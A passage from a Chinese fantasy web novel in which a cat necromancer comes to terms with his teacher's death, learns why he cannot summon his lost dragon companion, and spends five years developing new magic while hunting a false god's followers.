渐渐地,小声的抽泣变为嚎啕大哭,哭声中满是诉不尽的委屈和悲伤。 莫特默哭得弯下身子,哭得像是要把这辈子的眼泪全部用光,哭得像是被全世界抛弃。 哭得瑟兰迪尔都像阿利斯泰尔一样低低地叹了一声。 但。 天色晚了。 晚到就算是迷路的小猫, 也是时候该回家了。 第62章 日落时分最后的余晖洒向街道, 路灯成排亮起,废弃工地里的大楼的窗户也透出星星点点的灯光。 可本该站在窗边的人影却不见踪迹。 阿利斯泰尔、塞拉菲涅等人都站在废弃工地的大门口,望向门外,像是在无声地等待着什么。 夜晚的寒气悄无声息地蔓延, 随着时间一点一滴地流逝, 他们的神色逐渐开始变得有些担忧起来。 但好在, 他们的等待没有落空。 伴随着一道轻轻的由远及近的脚步声, 他们齐齐凝神望去,捕捉到瑟兰迪尔怀中抱着的那个小小的身影时, 不由露出清浅的笑容。 瑟兰迪尔不紧不慢地走近, 进入结界, 其他死灵们不约而同地围了上来, 查看莫特默的情况。 只见莫特默闭着眼睛蜷缩在瑟兰迪尔的怀中,他眼睛肿肿的, 像是被蜜蜂蜇了一样, 显得可怜中又有几分搞笑。 感受到周围的目光, 莫特默顿了顿, 像是疲惫到极致, 又像是难为情一样,缓了好一会儿才睁开眼。 他睁开眼睛, 就见到一张张关切的面容, 每个看着他的死灵眼中只有怜爱和安慰, 没有一丁点责怪。 猛地一下,某种情绪冲上心头, 本来已经消退了的泪意又涌上眼眶,莫特默喉咙里古怪地咕哝了几下,却说不出任何话。 就算是任性如他, 也是知道这些天来他的行为有多么一意孤行,对外界又是多么漠不关心,今天更是独自跑走,一股脑地跑到陌生的地方,还是瑟兰迪尔把他找回来的。 但好在其他人也不需要莫特默说什么。 瑟兰迪尔在展示完自己完好无损带回来的小猫,就无视周围的死灵,径直往大楼内走去。 莫特默能感到在一阵颠簸后,他被放置在了熟悉的,柔软的地方。 一被放下去,他的身体立马陷了进去,柔软的织物像一个轻柔的怀抱般将他整个人抱住。 莫特默迟缓地抬头,微微张开嘴。 瑟兰迪尔:“睡吧。” 他这么说着,好像莫特默此时此刻唯一要做的就是这个,除此之外,什么都不需要他去考虑。 莫特默的嘴巴嗫嚅了一下,乖乖地闭上了嘴,将头枕在爪上,合上了眼。 高高的垫子上,黑白配色的小猫眼睛肿肿地睡了。 挂在眼角的一滴泪慢了一拍地沿着脸颊滑下。 “滴答” 水滴进梦境的湖泊,泛起阵阵涟漪。 漆黑的梦境随之晕开色彩,响起欢快的声音。 “谁是世界上最可爱的小猫呀?” “喵!” “谁是世界上最聪明的小猫呀?” “喵!” “谁是世界上最有魔法天赋的小猫呀?” “喵!” “那谁是世界上作业做得最多最好的小猫?” “喵……喵嗷?!” “猫不是,猫不写!”黑白配色,戴着一顶高高的魔法帽的小猫嘴上叫着,四条腿就飞快滑动起来,想要逃跑。 “别跑!”金色长发的男人无奈又生气地笑。“怎么一提到学习就跑得这么快,死灵魔法多好啊。” 他一把捞住四只脚还在飞奔的小猫,另一只手点了点小猫的额头,“要好好学呀。” 小猫象征性地挣了挣,哼哼唧唧起来,“死灵魔法很难嘛,不想学……” 男人轻轻笑起来,捋起小猫额头的毛,温声说:“莫特默已经很厉害了,其他人想学都没我们的莫特默学得快。如果莫特默肯再努力一点,将来一定会成为世界上最厉害的魔法师。” “我不需要成为最厉害的魔法师!”莫特默说,“因为老师已经是世界上最厉害的魔法师了。” “要当的话……”莫特默想了想,说,“也只能勉为其难当世界第二厉害的魔法师吧。” 老师失笑:“好。我们未来的世界第二魔法师大人。” 莫特默得意地哼哼了两声,随即想到自己的作业,又萎靡了下来,嘟囔地抱怨道: “老师你都已经是最厉害的魔法师了,为什么还要发明死灵魔法这么难的魔法?” 老师不仅会各系的元素魔法,连有意思的空间,创造,预言之类的魔法都会,或者说,他就不知道老师有什么不会的! 他还曾误打误撞地碰见过老师面前开启过一个像是传送阵又像是水镜的东西,对面有一堆人跪在地上,对着上方毕恭毕敬,表情虔诚,要给老师献上什么,称老师为某种伟大存在,请求老师教授他们知识。 他问了后,老师说这是因为他是传奇大法师。 成为传奇大法师就会被这么对待? 猫不懂,但既然老师这样说,就应该是吧。 但无所不能的老师却非要猫学魔法,还要学死灵魔法。 猫一点都不喜欢那种复杂的魔法!也一点都不想学! “因为……”老师顿了顿,没有解答而是轻声问:“莫特默,你认为什么是死亡?” “?”莫特默眼神懵懂。 莫特默知道,死就是身体变得硬硬的,冰冰的,并且再也不能动也不能讲话了。 像是那些能被死灵魔法召唤的,就是已经死了的。 老师看出了莫特默的想法,笑了笑,“不,虽然万物终会有一死,但□□的死亡从来不是真正的死亡。” “躯体会腐朽,意识会消散,但构成我们存在最本质的印记,却铭刻在更高维度的法则之上。” 他语气轻缓地在莫特默耳边娓娓道来,耐心地教导, “这个印记像是一种无比复杂的魔法频率,记录着你的记忆,情感,乃至灵魂的独特波动。当躯体死亡,这个印记不会被抹去,它只是失去了载体,像一片羽毛,飘入了我们无法触及的帷幕之后。” “所以,死灵魔法并非玩弄尸骨的戏法,而是一种召唤。我们使用特定的物品作为媒介,作为世人还没有将他们遗忘的象征,以魔力为丝线,穿透那层隔绝生死的帷幕,去触碰、去共鸣那些飘荡在彼岸的印记。当共鸣达成,我们并非复活了他们,而是将他们的印记再次投射到我们的世界。” “他们从帷幕之后应约而来,我们所做的,就是为他们提供一副由魔力编织的,能在此世显现的躯体。” 老师低头朝莫特默弯了弯眼角, “所以你知道了吗?我发明死灵魔法,不是为了奴役死者,也不是为了复活某人,而是邀请他们,让他们能在我们的世界留下来,让他们有机会……” 他应该还有什么话继续在说,但莫特默听得昏昏欲睡,又可能是听到了但没记住,话的尾音隐没在一片模糊的音节中。 睡梦中的莫特默半梦半醒,恍惚地想起。 是了。他一开始,一点都不喜欢死灵魔法来着。 比起能改变花朵颜色,又或者将任何东西变成纸飞机的魔法,死灵魔法要天天和尸体打交道,要背繁复又麻烦的魔法纹路,要努力和死灵沟通,和他们打好交道。 这种魔法怎么会讨他喜欢呢? 那他是为什么会用心钻研死灵魔法,日日夜夜在羊皮纸上练习画魔法阵,并在最后成功掌握了大量的死灵魔法,甚至想要成为世界上最厉害的死灵法师呢? 是、是因为…… 啊,他想起来了。 梦境中的画面再次展开。 那是平常的一天,和平时一样,小猫趁着老师偶尔出门的时间,在法师塔里为非作歹,并偷偷摸摸将自己造成的破坏在老师回来前藏好。 一切都和往日差不多,只是最近老师总是时不时地走神,似乎有心事。 莫特默不清楚,只知道老师最近在进行着一个实验,时不时需要出门收集实验数据。 不过,这次出门前老师的脸色变得轻松了一些,应该是实验有结果了吧? 法师塔的结界传来波动,老师回来了,这一次老师比平时回来得早了一些,所以莫特默也没来得及藏好自己的作案现场。 可回到法师塔的老师竟也没有第一时间去检查小猫又做了什么怪,而是像是有些疲惫般坐在了沙发上。 见状,莫特默忙松了一口气,屁颠屁颠地凑到老师身前,讨地跳上沙发,甜甜地说:“数据都收集好了吗?” “啊。”老师说,“都收集好了,并且实验也已经成功了。” 他没有回头,说着莫特默听不懂的话,像是在高兴又像是释然,“这样就好,这样一来,他们就能活下去了,太好了,太好了……” 什么太好了?莫特默疑惑地歪头。 接着,老师那双碧绿色的,总是盛放着温柔笑意的眼眸转了过来。 下一秒,盈盈的忧伤难以自禁地流出那双眼眸。 “可你怎么办?你还这么小……” 说着,他竟流下泪来,用手比划着莫特默的大小。 莫特默吃了一惊,探头探脑地往上看。 他从没见过老师哭的模样,甚至说连他自己也从没有哭过,他对这种透明的水从眼睛流出的情况只从书上见过。 老师这难道是……实验成功,喜极而泣?他探究地想。 老师静静地流着泪,他凝视着莫特默,眼眸深深,像是穿透了莫特默的身体,望向了更远的地方,忽然开口。 “莫特默……我祝福你。” 他慢慢俯身,蜻蜓点水般吻了一下莫特默的脑门,泪水落在莫特默的脑门,烫了他一下。 泪原来是这么烫的东西吗?莫特默吃惊又惊奇地想。 然后,他听到老师说: “你将会踏上一段美好的旅程。踏上的这条路,会比你想的更远,也比你想得更近。” “在这趟旅途中,你遇见的人,会比你想得更多,你会收获快乐,收获朋友,收获成长,收获能一直陪伴你的人,也会有恶意的目光从暗处望来,但当你真正需要帮助的时候,一定会有人在。” “别怕犯错,风会认得你,星星会为你指路,在这个世界与我的古老誓约之下,命运将为你见证,你所需要的都会在冥冥中汇聚到你的身边,你走过每一步,都会托举起你的脚步,然后,你就能……” 老师的声音很轻,像是黄昏时拂过书页的风, “……你就成为一只可以独当一面的大猫啦。” 莫特默想到刚刚老师看他的眼神,冥冥中有所察觉:“这是预言吗?” 老师:“是的,你喜欢这个预言吗?” 莫特默思考了一下,郑重地点了一下头:“我觉得还可以。” 老师欣然地笑了:“是吗,那就好。” 然后他又接着细细地叮嘱起来, “我教给你的死灵魔法,你要好好学,好吗?” “在我不在法师塔的时候,也要做一个好孩子。” 莫特默茫然:“你才刚回来,又要走了吗?” “是啊。” “这次要走多久?” “……很久……很久。” “那是很远的地方了?” “非常远。” “那你什么时候回来呀?” “……” 呼吸声在空气中起伏。 老师说:“等你……成为有史以来最厉害的死灵法师的时候。” 说完,他笑着,闭上了眼。 莫特默轻轻哼了一声。 说什么等他成为最厉害的死法才回来,根本就是为了让猫好好学习的小花招,猫才不会上这种当! 但看来老师这次出门是真的累了,都累得直接睡着了。 可就这么睡在沙发上可不好。 他小小的身体搬不动老师,所以莫特默唤来了在修剪花丛的仆从。 庞大的法师塔里一般只有他和老师两个,但偶尔,也会有来帮忙修剪花园,收拾法师塔的仆从在结界内出没。 那是个沉默寡言的男人,据说因为受过老师恩惠,所以自愿来打理法师塔,但他的性格实在无趣,就算被莫特默恶作剧也只是拍拍身上的灰尘离开,所以久而久之,莫特默也没有兴趣骚扰对方了。 但好在今天他在,可以帮忙把老师搬到床上。 听到呼唤而来的仆从站在沙发前,沉默了半晌,在莫特默的催促声中,终于开口。 “他走了。”他说。 莫特默迷茫地看着嘴角挂着笑,闭着眼睛歪头靠在沙发上的老师,困惑又不理解。 “走了?” 他看了看老师,又看向沉默寡言的男人。 走了,是什么意思? “他不就在这吗?” 仆从沉默。 没办法,莫特默只好用爪子推搡起来:“老师,老师?不要在沙发上睡……” 但那天老师睡得太沉了,莫特默到最后也没能将其推醒。 …… 直到许多天之后,莫特默才知道,老师,应该是“死”了。 他的身体硬硬的,冰冰的,再也不会抱起他,无奈地点他的脑门,也不会开口,说一些莫特默真调皮的话了。 高高的法师塔里只剩下莫特默一个。 再没有人收拾莫特默制造的烂摊子,没有人会将花变成会飞的纸飞机,逗莫特默玩。 莫特默一开始有些茫然,但渐渐明悟过来。 这是对他的考验吧!就是所谓的期末考试!是老师对他学习进度的考察。 虽然老师“死”了, 但老师说□□的死亡从来不是真正的死亡,而死灵魔法是可以让生灵留在身边的魔法, 并且他也说,等莫特默成为最厉害的死法后,他就会回来。 所以…… 只要他努力学习死灵魔法不就好了? 于是,莫特默第一次主动翻开了老师留下的,关于死灵魔法的书籍。 书上的一笔一画都是老师的字迹,旁边还有着像是怕莫特默看不懂般而写的备注,看上面的墨水的深浅痕迹,有很早之前的,也有新添加上去的,从书的第一页到最后一页,密密麻麻的,像是恨不得将自己知道的全都写上去。 也是从这时候开始,莫特默才明白,原来学习魔法是这么枯燥又麻烦的一件事呀。 以前有老师的讲解,有老师哄着夸着,有老师提前准备好的材料和画好的魔法阵,可现在,不仅要去看令猫眼晕的文字,什么都还要他自己去弄。 莫特默坚持了两天,就放弃了。 就算他不好好学,就算老师“死”了,老师也一定会想办法回来的,最多……就是会被打几下屁股嘛……莫特默心虚地想。 可一天,两天,一个月,两个月…… 窗外的花丛逐渐凋零,蹲在窗边的莫特默没能等来熟悉的身影。 好吧。看来这次老师是认真的。 莫特默想。 而且老师估计是被什么绊住了脚步,才迟迟无法归家。等不及等老师自己回来了,他要让老师提前回来! 于是他终于下定决心,认真地对待已经落了灰的藏书室,对待厚厚的书籍上熟悉的字迹,哼哧哼哧地苦练死灵魔法的召唤阵。 可能就像老师说的那样,莫特默真的很有天赋,所以不过是等到窗外的枯萎的枝条抽出新芽,绽放出花朵,莫特默就掌握了大部分的死灵魔法,可以进行最高级的,特定的死灵召唤了。 成功掌握了死灵召唤魔法的那一天,莫特默兴奋得都要跳起来。 哈哈!没想到小猫这么厉害吧!他这就要召唤老师!他还要老师狠狠地夸夸他! 莫特默不得不承认。 ……他想老师了。 可法阵亮起又熄灭,他的召唤失败了。 莫特默困惑又不服输,回头将老师留下的书翻了一遍又一遍,不断出去寻找需要的魔法材料,在不同场地实验魔法,再不停地进行尝试……法阵亮起又熄灭了一遍又一遍。 窗外的花丛几番枯萎又抽芽,不知不觉间,莫特默成为了死灵魔法大师,也逐渐有了属于自己的名气,周围聚集了很多被他召唤的死灵,高高的法师塔内恢复了生气。 可其中就是没有老师的身影。 渐渐地,莫特默陷入了迷惘。 为什么呢? 为什么只有老师召唤不成功? 他不应该失败才对。他将老师留下的书背得滚瓜烂熟,画的法阵又快又好,成功的案例更是数不胜数。 又或者……莫特默的心中忽然冒出一个想法。 其实他没有失败,只是帷幕那头的老师没有回应他? 这一个想法瞬间点亮了莫特默的眼眸。 啊哈,大魔王,被我发现你的小花招了吧! 对!他没有失败,他也不可能失败! 是老师! 他说……他要等莫特默成为最厉害的死法才回来,所以……是因为他还没成为最厉害的那个,还没有达成老师的期望,他才装模作样,不愿意出现! 哼哼哼,别想骗到小猫。 等莫特默完美达成之时,老师一定会走出他的召唤阵,无奈地摇着头认输:“一段时间不见,莫特默竟然真的成为了最厉害的死法,真没办法,只能来见你了。” 于是莫特默明白了。 他,莫特默,是将会成为有史以来最厉害的亡灵法师的猫! 对,他要成为最厉害的死灵…法师…… 金色的猫瞳在现实中睁开。 莫特默怔怔地从睡梦中醒来,梦中的场景在他醒来后没有遗忘,反而清晰得每一秒都历历在目。 不,这不是他的梦……是他好久、好久都没再回想起的回忆。 他想起来了,死灵法师的含义,他又为什么要成为最强的死法,为什么他无法接受自己在召唤上的失败,这一切的一切,都是因为…… “老师” 莫特默无声地念出这个词。 与此同时,莫特默失声痛哭! 泪从依旧红肿泛疼的眼眶中落下,打湿了身下心爱的垫子,但莫特默已经顾不得。 他明白了,他明白了。 从旁观者的角度重新审视自己的这段回忆,他都明白了。 他的虚张声势,他的自欺欺人,他的软弱,他的傲慢,他的自大。 他知道的,他其实一直知道的。 老师他死了! 他永远,永远地离开了! 在老师离开后,他去打听了老师之前做的事,翻阅了老师留下的手稿,也就隐约地知道了,老师为了达成某个目的,将自己的魔力全部榨干,将自己的灵魂整个当作柴火投入了某种“熔炉”,在这个“熔炉”中,连灵魂都会被燃烧殆尽,更何况是铭刻在灵魂中的印记。 回到法师塔的老师其实已经只是某种余烬了,那时的他却什么都没发现,而在那之后,老师…… 用现在的说法,就是魂飞魄散了。 在老师回来的那一天起,他就永远地失去了老师。仆从说得对,老师走了,他去了一个遥远的,远到他无法抵达的地方。 老师总说□□的死亡不是真正的死亡,但如果连灵魂也消失了呢? 老师走后,他学会了死灵魔法,学会了如何留住死去的人,却永远也无法将老师留在他的身边了。 一个连灵魂都不在了的人,他要怎么召唤? 他其实是知道这件事的…… 他只是不愿意相信,不愿意接受,一厢情愿地认为自己没有失败,只是、只是没有达到老师的要求,所以老师才不愿见他。 就好像,不去看,不去回忆,不去想,老师就没有死,没有离开他,他就一直还是那个无忧无虑,被老师纵着,保护着的小猫。 但一直疼爱他的老师,又怎么只是因为他没有成为最强的死法而不愿意见他呢? 就像亥伯龙,怎么可能因为对他生气了,就不回应他的呼唤呢? 莫特默越来越大的哭嚎很快引来了死灵们的关注,他们团团围在莫特默的身边,一张张关切又担忧的面孔在莫特默模糊的视线中出现。 这是他召唤的死灵,他可靠的护卫,他真挚的朋友,关心他,在意他的人。 是啊,是啊,无论是穿越前,还是穿越后,他一直都一直被好好保护着,被老师,被亥伯龙,被这些死灵们。 穿越前的那些死灵不知道他的逃避吗?不,他们知道的,但还是温柔地没有戳破,穿越后的这些死灵们不知道他在使性子,无理取闹吗?不,他们知道的,但还是默认了他的一举一动。 所以他也心安理得地任性着,像是长不大的小孩,理所当然地活在自己的世界。 但他已经不是小猫了。 他不是小猫了。莫特默在心中又重复了一遍。 他想起老师对他的预言,他想起那天在公园湖边亥伯龙看他的眼神。 某种决心在他心中酝酿,就像他下决定要好好学习死灵魔法那天一样。 莫特默狠狠地吸了一口鼻涕,胡乱地在身下的垫子上蹭了蹭脸,蹭掉脸上的眼泪,然后一鼓作气地站起。 他要找回龙。 伪神曾利用柯杰的身体刺了他一刀,那刀没有在他的身体上造成任何伤害,但亥伯龙无法被召唤是不争的事实。 这其中一定有什么相关的缘由。 他要找到其中的原因,然后将龙好好地带回来。 并且如果…… 如果他真的再也见不到龙了。 那么,就算找不回龙,他也要狠狠报复回去!!! 他要让伪神知道。 莫特默的眼神变得坚毅,鎏金色的眼睛在光下熠熠生辉,其中的神采让周围的死灵齐齐一愣。 ——猫,可是很记仇,并且睚眦必报的一种生物! “维萨罗斯……”他开口,声音还有点哽咽,但很坚定,“通知伊夫林,让维萨罗斯回来一趟。” 梦魇是梦境的主宰,而梦境连接着灵魂的欲望,所以想要检查灵魂相关的问题,最合适的人选,无疑就是梦魇之王,维萨罗斯。 周围的死灵又是微微一愣,但这次,他们都露出欣慰和愉快的表情。 阿利斯泰尔的表现最夸张,他猛地举起莫特默,又将莫特默贴在自己的脖颈间,像是在恭喜一名重症病人从ICU出院一样,感动地说:“莫特默,你终于活过来吗!我就知道你可以的!” 莫特默毫不客气地将鼻涕蹭在阿利斯肩膀的衣服上:“我就没有死过!” 塞拉菲涅抱臂,红唇扬起一个不易察觉的弧度:“浴缸的热水已经放好了,而且您这几天都没好好休息,我去给您准备餐食,洗完澡正好能吃。” “?!”莫特默条件反射地拒绝,“我不要洗澡!” “不洗澡怎么行!”“哪有猫洗澡的,舔舔就好!” 在阿利斯和莫特默拌嘴的背景音中,瑟兰迪尔垂下睫毛,矜持地说:“恢复过来就好,早看你那**的*样不爽了。” 莫特默胡须一颤,第一次当面提起,直言不讳地嫌弃道:“我之前怎么会觉得你和老师像,完全是两类人啊!” 瑟兰迪尔:“哼。” 明明是死对头,不想说话就发语气词这点这方面倒是像。莫特默暗自腹诽。 啊,他又想到亥伯龙了。 他猛然反应过来。 但这一次,和之前想到亥伯龙就产生的自哀自怨,自暴自弃甚至一丝丝怨怼不同,此刻莫特默的心中涌动着勇气,希望和决心。 好。 莫特默深深吸了一口气,又重重吐出。虽然刚刚又痛哭了一场,但可能是解开了一个以前的心结,又刚确立好了目标,他的大脑空前的清明。 调整状态。 世界上最聪明,最厉害的猫猫要重新踏上征途了! 作者有话说: 元宵节快乐!这么团圆的日子,就不让大家不开心啦,二合一起发出来给大家~[红心]就是作者彻底燃尽了[躺平] 第63章 维萨罗斯得益于梦魇可以随意传送的优越性, 不过是几个呼吸间就回到了废弃工地。 他像以往的那样,从碎裂的空间探出半个身子,手上捏着一支长柄的烟斗,黑色的长发垂在莫特默, 脸凑得极近, 狐狸般眯着眼, 嘴角噙着似笑非笑的弧度, 对莫特默调侃道: “哎呀呀,虽然已经听说了, 但还是这副充满活力的模样更适合你。” 他微微偏头, 像是在闻什么东西般鼻头轻嗅了一下空气, 喃喃:“悲伤, 恐惧,遗憾……” “只是可惜, 没能品尝到你的噩梦。”他语气蓦然低落了下去, 像是错过了什么稀世珍宝般, 遗憾地哀叹道。 莫特默:“想都不要想, 猫才不会做噩梦!” 即便是让他落泪的那个梦, 也不是噩梦,而是莫特默珍贵的美好回忆! “所以, 我到底有没有出问题?”他有些紧张地问。 “真是心急。” 维萨罗斯像是面对不耐烦晚辈的老人般抱怨了一句, 微微睁开了他那双总是眯着的眼。 这时莫特默才发现, 他竟不知何时褪下了人类的伪装,镜片后的, 分明是一双有着黑白圈纹的诡异瞳孔。 维萨罗斯注视着莫特默,可与他淡淡的表情不同,那极具穿透性与重量, 像是看穿了皮囊望进了灵魂最深处的眼神让莫特默背后的毛都本能地微微炸开,被窥探的危机感油然而生。 不过几秒,却漫长得像一个世纪。 维萨罗斯重新眯上了眼睛,所有的压迫感如潮水般退去,他又变回了那个捉摸不透又显得人畜无害的梦魇,甚至还露出了些许讶异的表情。 莫特默抖抖还在隐隐发毛的后背,见状忙追问:“怎么了,到底出了什么问题?” 维萨罗斯慢吞吞地说:“嗯……是有问题呢……” 他停顿了一下,“还是没有问题呢……” 莫特默:? 什么意思? 是或否的回答回了个或,这时候还要卖关子? 莫特默喉咙里滚出一声低低的疑惑声,圆溜溜的眼睛盯着那道浮在半空中的身影,然后…… 小猫火箭发射! 莫特默跳起来就是一个铁头功顶向半空中的维萨罗斯:“好好说话喵!到底有没有问题?” “哎呀,哎呀。”维萨罗斯夸张地被小猫撞了个仰倒,顺势接住落在他身上的莫特默,对其一本正经地解释道,“本来是有问题的,但现在又没问题……” “不……或者说,问题更大了?”他若有所思地望向虚空,又改口道。 原来如此,是这样啊…… 个鬼啦! 听不懂,完全听不懂。 快给小猫好好解释! 莫特默的眼睛里明晃晃写着这行字,爪子按在维萨罗斯胸口,像是维萨罗斯不好好说话就随时准备给他一记猫猫拳。 维萨罗斯见状忍不住又笑了一会儿,才开口。 看来真是恢复了。 他将莫特默放回地上,脸上的表情终于变得正色了几分。 “那把刺向你的刀,”他的声音沉下去,“如果我没看错的话,比起那个蜡烛,它才更像是一个真正的神器。” 莫特默耳朵动了动,盯着他等待下文。 “它在刺向你的瞬间,剜下了你一小片的灵魂,连带着那片灵魂上与亥伯龙之间的契约。” “但那一小片灵魂实在太少了,根本无法给亥伯龙提供一副能在此世显现的躯体,所以可怜的亥伯龙当场就,” 他做了一个飞走的手势, “化成光点飞走了~” 他说这话时,语气里难掩一种看笑话的意味,嘴上说着可怜,但实际上完全没有一点同伴情,像是在说“亥伯龙当场化蝶,变成蝴蝶飞走了”般,甚至还配上了“噗”的音效。 莫特默没理会他的幸灾乐祸,低头思索了片刻。 很快,猫脸上浮现出恍然大悟的神情,很快想通了关键。 他低头自言自语:“原来是这样,这样就说得通了,所以我才无法召唤亥伯龙!” “亥伯龙根本没有回到帷幕之后!他只是因为失去了能够维持身躯的魔力,才消散了躯体。但他与我之间,与我灵魂缔结的那份契约没有解除。他的印记、他的灵魂都还留在这个世界里。既然如此,我怎么可能重新召唤他?” “召唤的本质是将他从帷幕之后拉过来,可他根本就没回去过,是我因为失去了那一片灵魂,无法感知到亥伯龙的存在,所以误以为我们之间的契约断开了!” 也就是说,亥伯龙只是变成了无人能看见,也无人能感知的幽灵,不是消散,不是离开了这个世界回到帷幕之后,而是一直徘徊在这个世界的某个角落,静静地等着。 “那我只要将那片灵魂找回来不就行了?”莫特立马想到。 既然如此,他只要将维系着链接的那片灵魂重新缝合回来,他自然就能重新感知到亥伯龙,让亥伯龙回到自己身边。 “嘛……我也是这么想的。”维萨罗斯拖长了音,随后又干脆利落地说, “但是。” 莫特默:“但是?” “但是你原本缺失了一小块的灵魂,”维萨罗斯用烟斗轻轻点了点莫特默的方向,“自己长好了。” 莫特默:“长好了?!” “没错。”维萨罗斯肯定:“虽然我也不清楚你是怎么做到的,但就长好了,完整如初,可喜可贺。” “一般而言,失去了部分灵魂后,变得浑浑噩噩,反应迟钝,身体跟不上思维,情绪大起大落,反复无常,以及嗜睡都很正常,灵魂失去得多了甚至会一睡不醒或彻底变得疯狂,成为另一种意义上的死人。” 他停顿了一下,意味深长地看向莫特默, “而你在失去了部分灵魂后,竟然还有精力进行那么多次召唤,说实话,我已经很吃惊了。” 他感叹道:“要说灵魂上损伤能不能恢复,也不是不行,但这往往需要数以年计的时间,而绝大部分人一辈子也长不好。你却在短短几天内,灵魂恢复了完整,简直就是断肢重生的奇迹,我也是第一次见到这种情况。” “我这些天和伊夫林出去,一方面是给那些小家伙们搭把手,另一方面就是想帮你找找那片灵魂碎片,想到时候给你个惊喜呢。” “现在也不用找了,”他满意地吸了一口烟斗,雾气从唇边悠悠升起,“真不错~~” 莫特默:…… 这么说确实是一件好事,但…… “那我与亥伯龙的契约怎么办?!” 他的灵魂长好了,那即便是找回了那片丢失的灵魂,也缝不回去了啊!! “是呢。”维萨罗斯认真地应了一声,但也明显只是嘴上应着,一点都不上心,反而乐见其成般轻飘飘地说,“怎么办呢?” 莫特默:…… 莫特默张了张嘴,什么都说不出来,呆在原地。 他再也无法收回他和亥伯龙之间的链接…… 难道他,他真的要永远都见不到亥伯龙了? 不。 不,莫特默想,他下过决心要找回龙的。 亥伯龙没有回到帷幕之后,而是徘徊在这世间,也一定是在某个地方等着他。 难道他就要放任亥伯龙变成一个,没有人能听到他说话,没有人能看到,感知到他,只能永远被束缚在这个世上的幽魂吗? 不。 契约,契约……他就没有别的办法重新和亥伯龙建立起契约吗?! 契…… 等等。 契约的本质是交易,死灵召唤魔法说到底,其实也不过是一场交易。 死灵法师找到死灵,付出魔力,提出交易:我把你拉回现世,并为你提供躯体,而你,要服从我的命令。 死灵答应了,便是交易达成,死灵召唤魔法成功,主仆契约就此成立。 而亥伯龙已经和他达成了这个交易,穿过了帷幕,自然不能再重复同样的交易。 既然如此,他为什么不可以和已经穿过帷幕的亥伯龙进行另一场交易,达成另一道新的契约? 这个念头刚一出现,莫特默便觉眼前豁然开朗,连呼吸都轻了一瞬。 虽然之前从来没有过这种死灵魔法, 虽然想要发明一个新的魔法从不是什么易事,从无到有,从零到一,这不是谁都能做到的事, 虽然他要无中生有,开创出属于他自己的魔法,但莫特默就是知道,他要去做,他会做到,而他也必定会成功! 在某一天,他将用这个魔法将亥伯龙重新带回来。 在此之前,他一直在沿着老师的路走,从最基础的死灵魔法,到最高深的定向死灵召唤,他一直往前走的那条路,都是老师探索出来的那条,但现在,他也是时候该走出属于自己的路了。 莫特默的心微微一动,心中忽然若有所悟。 他一直说着他要成为最厉害的死灵法师。这句话他说了无数遍,对别人说,对自己说,说到几乎成了一句口号,一个标记,一个贴在身上的标签。 但如果他一直在拾人牙慧,在走前人走过的路,又怎么能抵达他口中的那种高度? 莫特默忽然想笑。 即使在最初,他要成为最厉害的死灵法师的原因,或者说执念,是因为老师。 但随着魔法的精进,随着围绕在他身边的死灵越来越多,他已经不知不觉间真正接纳了死灵魔法,将其视为自己的一部分,将成为最厉害的死灵法师这件事视为自己前进的方向。 是的,他将会成为有史以来最厉害的死灵法师,不是为了老师,也不是为了任何人,就只是…… 莫特默嘴角高高扬起。 那笑容里透着自信,透着骄傲,甚至透着一点点孩子气的得意。 ——只是因为他能! 常人需要耗费一辈子,甚至终生无法入门的死灵魔法,他不过是一旬就参悟透彻;复杂的,只要手抖一下就前功尽弃的召唤魔法阵,他画得信手拈来;无法被召唤,触之即死的强大死灵,他强买强卖地拽到面前。 如果说这个世界上有一个人能超越老师,成为最强的死灵法师,那个人…… 舍他其谁?!! 想通后,莫特默就开始对死灵魔法的研究,与此同时,他也向伊夫林要来了后世对死灵魔法以及灵魂相关魔法的研究和资料。 魔法经过千年的演变,衍生出了很多变体,莫特默从中得到了很多启发,可即便如此,他依然感到举步维艰。 死灵魔法从第三纪元开始就因为被“伪神”牢牢垄断,即便有野生的死灵法师,也是人人喊打,往往还没来得及留下什么像样的研究,就被当作过街老鼠围剿干净。 只有信徒的手中有着一些“伪神”留给他们的魔法和他们自己的零零星星的研究资料。 莫特默就这样一边像打地鼠一般和伊夫林他们一起在全世界打击消灭着伪神的信徒(或者说容器),一边进行着自己的研究。 每捣毁一处信徒据点,他往往能收获一些新的资料碎片,像拼图一样,慢慢填补着千年来的知识空白。 也多亏了他自己那特殊的,灵魂割了又能很快长出来的特性,大大提高了莫特默的实验进展的速度。 时间就这么在不知不觉中流逝。 信徒们的数量急剧减少,被打得抱头鼠窜,无处可藏,有一次,他们甚至堵到了“伪神”本人。 只可惜,明明上一次见面时对方口出狂言,说要让莫特默求饶,但真碰面了,伪神却没有一点想要正面对抗的心思,一看到莫特默溜得比谁都快。 在莫特默定居的国家和魔保会所在的W国内,已经完全没了伪神的踪影,他只在一些几乎没有魔法师和魔法生物的偏僻的小国低调地发展信徒,一被莫特默或魔保会发现,就毫不犹豫地抛弃那里的信徒,转移阵地,看样子是打定主意要一直藏下去,直到熬死莫特默为止。 但也由此,他们一直没能成功将伪神彻底杀死,和伪神的较量变成了一场彻彻底底的拉锯战。 莫特默的实验也失败了一次又一次,大量的废纸堆积在大楼内,研究笔记和实验数据堆得像小山一样高。 但好在,此时的他已经不会再害怕失败了。 每一次失败,只会让莫特默觉得,他离自己的目标又更近了一步。 勇敢猫猫,不怕困难! 春去秋来,花开花谢,不知不觉,竟然已经是莫特默穿越到未来的第五年。 他和亥伯龙分离,也有五年了。 晨光斜斜地穿过窗户,落在莫特默的身上,勾勒出一道优雅的剪影。 认真低头看着资料的莫特默褪去了幼崽般圆润的奶膘,变得更像是一只四肢更加纤长,脊背挺拔,体态更加成熟的成年大猫。 多年的研究生活在他眉宇间沉淀出一种沉静的气质,偶尔垂眸思索时,眼底会划过洞悉的光。 五年的时间,足够莫特默变成一只大猫,也足够一个天才蜕变为传奇。 莫特默的魔法早不止于死灵魔法,相反,有着周围这些在各个魔法领域都是顶尖的王者,莫特默青出于蓝而胜于蓝,博采众长,掌握了几乎是所有领域的高深魔法。 在追剿信徒,周游世界的途中,也有外国的魔法师因莫特默施展的,奇迹般的魔法而颤颤巍巍地跪下来,称呼他为神。 第一次听到这个称呼的莫特默哑然失笑,觉得自己微妙地理解了老师当时的心情。 “不,我不是神,我是……”莫特默想了想,嗯……他现在还不是最厉害的死法,那么此时此刻的他应该叫作…… 他笑着说:“我是传奇大法师。” 他说这话时,语气轻松得像在说自己是个喜欢吃鱼干的猫。可就是这个随意的回答,像长了翅膀一样传遍魔法界。 于是渐渐地,人们开始称他为掌握世间所有魔法的传奇大法师,行走的奇迹,世界上最后一个真正的施法者。 